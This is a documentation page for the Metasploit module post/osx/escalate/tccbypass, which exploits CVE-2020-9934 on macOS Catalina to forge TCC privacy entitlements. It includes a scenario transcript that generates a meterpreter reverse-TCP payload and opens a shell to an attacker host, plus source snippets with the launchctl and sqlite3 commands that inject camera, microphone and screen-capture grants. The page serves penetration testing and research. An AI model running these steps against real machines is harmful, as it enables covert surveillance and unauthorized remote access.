Bypass the macOS TCC Framework - Metasploit


This page contains detailed information about how to use the post/osx/escalate/tccbypass metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Bypass the macOS TCC Framework
Module: post/osx/escalate/tccbypass
Source code: modules/post/osx/escalate/tccbypass.rb
Disclosure date: -
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): -
Supported platform(s): OSX
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2020-9934

This module exploits a vulnerability in the TCC daemon on macOS Catalina (<= 10.15.5) in order to grant TCC entitlements. The TCC daemon can be manipulated (by setting the HOME environment variable) to use a new user controlled location as the TCC database. We can then grant ourselves entitlements by inserting them into this new database.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Side Effects:

  • artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
  • screen-effects: Module may show something on the screen (Example: a window pops up).

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/osx/escalate/tccbypass

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/osx/escalate/tccbypass
msf post(tccbypass) > show options
    ... show and set options ...
msf post(tccbypass) > set SESSION session-id
msf post(tccbypass) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/osx/escalate/tccbypass")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


Vulnerable Application


This module exploits a vulnerability in the TCC daemon on macOS Catalina (<= 10.15.5) in order to grant TCC entitlements. The TCC daemon can be manipulated (by setting the HOME environment variable) to use a new user controlled location as the TCC database. We can then grant ourselves entitlements by inserting them into this new database.

Verification Steps


  1. Start msfconsole
  2. Get a user session on OSX 10.15.5 (or lower)
  3. Do: use post/osx/escalate/tccbypass
  4. Do: set SESSION -1
  5. Do: run
  6. Your session should now be able to access the ~/Documents folder

Scenarios


User level shell on macOS Catalina 10.15.4

msf6 > use payload/osx/x64/meterpreter/reverse_tcp
msf6 payload(osx/x64/meterpreter/reverse_tcp) > set lhost 192.168.135.197
lhost => 192.168.135.197
msf6 payload(osx/x64/meterpreter/reverse_tcp) > set lport 4567
lport => 4567
msf6 payload(osx/x64/meterpreter/reverse_tcp) > generate -f macho -o revtcpx64.mac
[*] Writing 17204 bytes to revtcpx64.mac...
msf6 payload(osx/x64/meterpreter/reverse_tcp) > to_handler
[*] Payload Handler Started as Job 0

[*] Started reverse TCP handler on 192.168.135.197:4567 
msf6 payload(osx/x64/meterpreter/reverse_tcp) > [*] Transmitting first stager...(210 bytes)
[*] Transmitting second stager...(8192 bytes)
[*] Sending stage (799916 bytes) to 192.168.132.178
[*] Meterpreter session 1 opened (192.168.135.197:4567 -> 192.168.132.178:49156) at 2020-09-10 11:44:05 -0500

msf6 payload(osx/x64/meterpreter/reverse_tcp) > sessions -i -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer     : msfusers-Mac.local
OS           : macOS Catalina (macOS 10.15.4)
Architecture : x86
BuildTuple   : x86_64-apple-darwin
Meterpreter  : x64/osx
meterpreter > getuid
Server username: msfuser @ msfusers-Mac.local (uid=501, gid=20, euid=501, egid=20)
meterpreter > ls Documents
[-] 1009: Operation failed: 1
meterpreter > background
[*] Backgrounding session 1...
msf6 payload(osx/x64/meterpreter/reverse_tcp) > use post/osx/escalate/tccbypass 
msf6 post(osx/escalate/tccbypass) > show options

Module options (post/osx/escalate/tccbypass):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

msf6 post(osx/escalate/tccbypass) > set session 1
session => 1
msf6 post(osx/escalate/tccbypass) > set verbose true
verbose => true
msf6 post(osx/escalate/tccbypass) > run

[*] Creating TCC directory /tmp/.SZulaEVB/Library/Application Support/com.apple.TCC
[+] fake TCC DB found: /tmp/.SZulaEVB/Library/Application Support/com.apple.TCC/TCC.db
[+] TCC.db was successfully updated!
[*] To cleanup, run:
launchctl unsetenv HOME && launchctl stop com.apple.tccd && launchctl start com.apple.tccd
rm -rf '/tmp/.SZulaEVB'

[*] Post module execution completed
msf6 post(osx/escalate/tccbypass) > sessions -i -1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: msfuser @ msfusers-Mac.local (uid=501, gid=20, euid=501, egid=20)
meterpreter > ls Documents 
Listing: Documents
==================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100644/rw-r--r--  0     fil   2020-08-14 13:51:29 -0500  .localized

meterpreter > 

Go back to menu.

Msfconsole Usage


Here is how the osx/escalate/tccbypass post exploitation module looks in the msfconsole:

msf6 > use post/osx/escalate/tccbypass

msf6 post(osx/escalate/tccbypass) > show info

       Name: Bypass the macOS TCC Framework
     Module: post/osx/escalate/tccbypass
   Platform: OSX
       Arch: 
       Rank: Normal

Provided by:
  mattshockl
  timwr

Module side effects:
 artifacts-on-disk
 screen-effects

Compatible session types:
  Meterpreter
  Shell

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.

Description:
  This module exploits a vulnerability in the TCC daemon on macOS 
  Catalina (<= 10.15.5) in order to grant TCC entitlements. The TCC 
  daemon can be manipulated (by setting the HOME environment variable) 
  to use a new user controlled location as the TCC database. We can 
  then grant ourselves entitlements by inserting them into this new 
  database.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2020-9934
  https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8
  https://github.com/mattshockl/CVE-2020-9934

Module Options


This is a complete list of options available in the osx/escalate/tccbypass post exploitation module:

msf6 post(osx/escalate/tccbypass) > show options

Module options (post/osx/escalate/tccbypass):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Advanced Options


Here is a complete list of advanced options supported by the osx/escalate/tccbypass post exploitation module:

msf6 post(osx/escalate/tccbypass) > show advanced

Module advanced options (post/osx/escalate/tccbypass):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   VERBOSE      false            no        Enable detailed status messages
   WORKSPACE                     no        Specify the workspace for this module
   WritableDir  /tmp             yes       Writable directory

Post Actions


This is a list of all post exploitation actions which the osx/escalate/tccbypass module can do:

msf6 post(osx/escalate/tccbypass) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the osx/escalate/tccbypass post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(osx/escalate/tccbypass) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Target is not vulnerable


Here is a relevant code snippet related to the "Target is not vulnerable" error message:

59:	    end
60:	  end
61:	
62:	  def run
63:	    if check != Exploit::CheckCode::Appears
64:	      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
65:	    end
66:	
67:	    unless writable? datastore['WritableDir']
68:	      fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
69:	    end

<WRITABLEDIR> is not writable


Here is a relevant code snippet related to the "<WRITABLEDIR> is not writable" error message:

63:	    if check != Exploit::CheckCode::Appears
64:	      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
65:	    end
66:	
67:	    unless writable? datastore['WritableDir']
68:	      fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
69:	    end
70:	
71:	    tmpdir = "#{datastore['WritableDir']}/.#{Rex::Text.rand_text_alpha(8)}"
72:	    tccdir = "#{tmpdir}/Library/Application Support/com.apple.TCC"
73:	    tccdb = "#{tccdir}/TCC.db"

No fake TCC DB found: <TCCDB>


Here is a relevant code snippet related to the "No fake TCC DB found: <TCCDB>" error message:

75:	    print_status("Creating TCC directory #{tccdir}")
76:	    cmd_exec("mkdir -p '#{tccdir}'")
77:	    cmd_exec("launchctl setenv HOME '#{tmpdir}'")
78:	    cmd_exec('launchctl stop com.apple.tccd && launchctl start com.apple.tccd')
79:	    unless file_exist?(tccdb)
80:	      print_error("No fake TCC DB found: #{tccdb}")
81:	      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
82:	    end
83:	    print_good("fake TCC DB found: #{tccdb}")
84:	
85:	    tcc_services = [

Target is not vulnerable


Here is a relevant code snippet related to the "Target is not vulnerable" error message:

76:	    cmd_exec("mkdir -p '#{tccdir}'")
77:	    cmd_exec("launchctl setenv HOME '#{tmpdir}'")
78:	    cmd_exec('launchctl stop com.apple.tccd && launchctl start com.apple.tccd')
79:	    unless file_exist?(tccdb)
80:	      print_error("No fake TCC DB found: #{tccdb}")
81:	      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
82:	    end
83:	    print_good("fake TCC DB found: #{tccdb}")
84:	
85:	    tcc_services = [
86:	      'kTCCServiceCamera', 'kTCCServiceMicrophone', 'kTCCServiceAll', 'kTCCServiceScreenCapture', 'kTCCServiceSystemPolicyDocumentsFolder', 'kTCCService',

Output: <SQLOUTPUT.LENGTH>


Here is a relevant code snippet related to the "Output: <SQLOUTPUT.LENGTH>" error message:

93:	    timestamp = 1.year.from_now.to_i.to_s
94:	    for service in tcc_services
95:	      sql_insert = "INSERT INTO access VALUES('#{service}', '#{bundle}', #{isfile}, 1, 1, X'#{csreq}', NULL, NULL, 'UNUSED', NULL, NULL, #{timestamp});"
96:	      sqloutput = cmd_exec("sqlite3 '#{tccdb}' \"#{sql_insert}\"")
97:	      if sqloutput && !sqloutput.empty?
98:	        print_error("Output: #{sqloutput.length}")
99:	      end
100:	    end
101:	    print_good('TCC.db was successfully updated!')
102:	    cleanup_command = 'launchctl unsetenv HOME && launchctl stop com.apple.tccd && launchctl start com.apple.tccd'
103:	    cleanup_command << "\nrm -rf '#{tmpdir}'"

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • mattshockl
  • timwr

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.